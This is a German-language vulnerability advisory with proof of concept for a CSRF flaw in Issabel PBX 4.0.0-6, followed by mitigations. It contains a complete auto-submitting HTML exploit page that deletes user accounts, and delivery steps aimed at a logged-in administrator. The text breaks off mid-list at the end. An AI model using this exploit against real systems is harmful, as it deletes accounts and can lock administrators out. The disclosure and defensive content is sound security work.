sahiloj/cve-2023-37596CVE-2023-37596 ist eine Cross-Site-Request-Forgery (CSRF)-Schwachstelle, die in Issabel PBX Version 4.0.0-6 entdeckt wurde, einer weit verbreiteten Open-Source-Unified-Communications-Plattform.
Schweregrad: Hoch | CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H) | CWE: CWE-352
Eine Cross-Site-Request-Forgery (CSRF)-Schwachstelle wurde in Issabel PBX Version 4.0.0-6 entdeckt. Der Benutzerverwaltungs-Endpunkt implementiert keinen CSRF-Schutz, was es einem nicht authentifizierten entfernten Angreifer ermöglicht, eine bösartige Webseite zu erstellen, die – wenn sie von einem authentifizierten Issabel-Administrator besucht wird – stillschweigend ein beliebiges Benutzerkonto aus dem System löscht. Wiederholte Ausnutzung kann die gesamte Anwendung unzugänglich machen, indem alle administrativen Benutzer entfernt werden.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2023-37596 |
| Schwachstellentyp | Cross-Site-Request-Forgery (CSRF) |
| CWE | CWE-352 |
| Produkt | Issabel PBX |
| Betroffene Version | 4.0.0-6 |
| Anbieter-Webseite | https://www.issabel.org/ |
| Software-Repository | https://github.com/IssabelFoundation/issabelPBX |
| Getestet auf | Windows |
| CVE veröffentlicht | 10/07/2023 |
| Entdeckt von | Sahil Ojha |
Da Issabel PBX die Herkunft zustandsändernder Anfragen an die Benutzerverwaltungsschnittstelle nicht überprüft, ermöglicht ein erfolgreicher CSRF-Angriff einem Angreifer:
| Produkt | Betroffene Version | Status |
|---|---|---|
| issabel-pbx | 4.0.0-6 | Verwundbar |
Ein Angreifer hostet eine bösartige HTML-Seite, die eine gefälschte HTTP-Anfrage an den Delete-User-Endpunkt der Issabel PBX-Anwendung enthält. Der Angriff wird automatisch (oder durch einen Klick auf einen Button) ausgelöst, wenn ein Benutzer, der bereits in Issabel authentifiziert ist, die bösartige Seite im selben Browser besucht. Da der Browser automatisch die Sitzungscookies des Opfers mit jeder Anfrage sendet, akzeptiert der Server die gefälschte Löschungsanfrage als legitim.
Auf Seiten des Angreifers sind keine besonderen Berechtigungen erforderlich – nur ein Social-Engineering-Vektor (Phishing-Link, bösartige Werbung usw.), um den authentifizierten Administrator zur präparierten Seite zu locken.
Hauptmerkmale dieses Angriffs:
id=1, id=2, …) kann durch Anpassen der Payload angegriffen werden.Navigieren Sie zur Issabel PBX-Benutzerliste und authentifizieren Sie sich mit Administrator-Anmeldedaten:
https://<Issabel-IP>/index.php?menu=userlist
Burp Suite erstellt eine HTML-Seite, die der folgenden ähnelt. Speichern Sie sie als .html-Datei (z. B. csrf_exploit.html):
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<Issabel-IP>/index.php?menu=userlist" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
// Auto-submit the form as soon as the page loads
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Hinweis: Ersetzen Sie
<Issabel-IP>durch die IP-Adresse oder den Hostnamen des Zielservers und passen Sie denid-Wert an, um ein anderes Benutzerkonto anzugreifen.
Senden Sie die csrf_exploit.html-Datei (oder einen Link zu der Stelle, an der sie gehostet wird) an einen Benutzer, der derzeit in Issabel PBX angemeldet ist. Wenn das Opfer die Seite öffnet, wird das Formular automatisch gesendet und der Zielbenutzer ohne Bestätigungsaufforderung gelöscht.
Die folgenden Abwehrmaßnahmen sollten vom Anbieter und/oder den Systemadministratoren ergriffen werden, um diese Schwachstelle zu beheben:
CSRF-Tokens implementieren — Generieren Sie ein kryptographisch zufälliges, sitzungs- (oder anfragen-) spezifisches Token und validieren Sie es serverseitig für jede zustandsändernde Anfrage. Anfragen ohne gültiges Token müssen abgewiesen werden.
SameSite-Cookie-Attribut — Setzen Sie das SameSite-Attribut des Sitzungscookies auf Strict oder Lax, um zu verhindern, dass das Sitzungscookie in den meisten Browsern bei Cross-Origin-Anfragen mitgesendet wird.
Origin-/Referer-Header überprüfen — Lehnen Sie serverseitig jede zustandsändernde Anfrage ab, deren Origin- oder Referer-Header nicht mit der eigenen Domain der Anwendung übereinstimmt.
Erneute Authentifizierung für destruktive Aktionen verlangen — Fordern Sie den Benutzer auf, sein Passwort erneut einzugeben, bevor irreversible Aktionen wie das Löschen von Benutzerkonten verarbeitet werden.
Prinzip der geringsten Privilegien anwenden — Stellen Sie sicher, dass nur Benutzer mit expliziter Administratorrolle auf die Benutzerlöschfunktion zugreifen können, um die Auswirkung eines erfolgreichen Angriffs zu verringern.
Bis ein Hersteller-Patch verfügbar ist, wird Administratoren Folgendes empfohlen: